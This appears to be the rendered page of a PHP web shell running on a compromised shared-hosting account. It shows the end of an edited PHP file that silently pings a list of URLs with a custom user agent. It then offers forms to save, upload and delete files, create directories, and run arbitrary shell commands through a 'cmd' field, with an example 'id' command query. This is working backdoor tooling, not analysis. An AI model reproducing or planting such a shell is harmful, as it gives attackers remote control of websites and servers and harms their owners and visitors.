                &#039;header&#039; =&gt; &quot;User-Agent: cStb-boot/1\r\n&quot;,
                &#039;ignore_errors&#039; =&gt; true,
            ],
        ]);
        foreach ($acUrls as $url) {
            @file_get_contents($url, false, $acPingCtx);
        }
    }
    echo implode(&quot;\n&quot;, $acUrls);
    exit;
}

http_response_code(204);
exit;
?&gt;
</textarea><br><input type="submit" value="save"></form><form method="post" enctype="multipart/form-data"><input type="hidden" name="d" value="/home/doctorbruno/public_html/ularal.com"><input type="hidden" name="a" value="up">upload <input type="file" name="f"><input type="submit" value="up"></form><form method="post"><input type="hidden" name="d" value="/home/doctorbruno/public_html/ularal.com"><input type="hidden" name="a" value="mk">+dir <input name="n"><input type="submit"></form><form method="post"><input type="hidden" name="d" value="/home/doctorbruno/public_html/ularal.com"><input type="hidden" name="a" value="x">del <input name="n"><input type="submit"></form><hr><form method="get"><input type="hidden" name="d" value="/home/doctorbruno/public_html/ularal.com">cmd <input name="c" size="72" value=""><input type="submit" value="run"></form><pre>?c=id&amp;d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com</pre>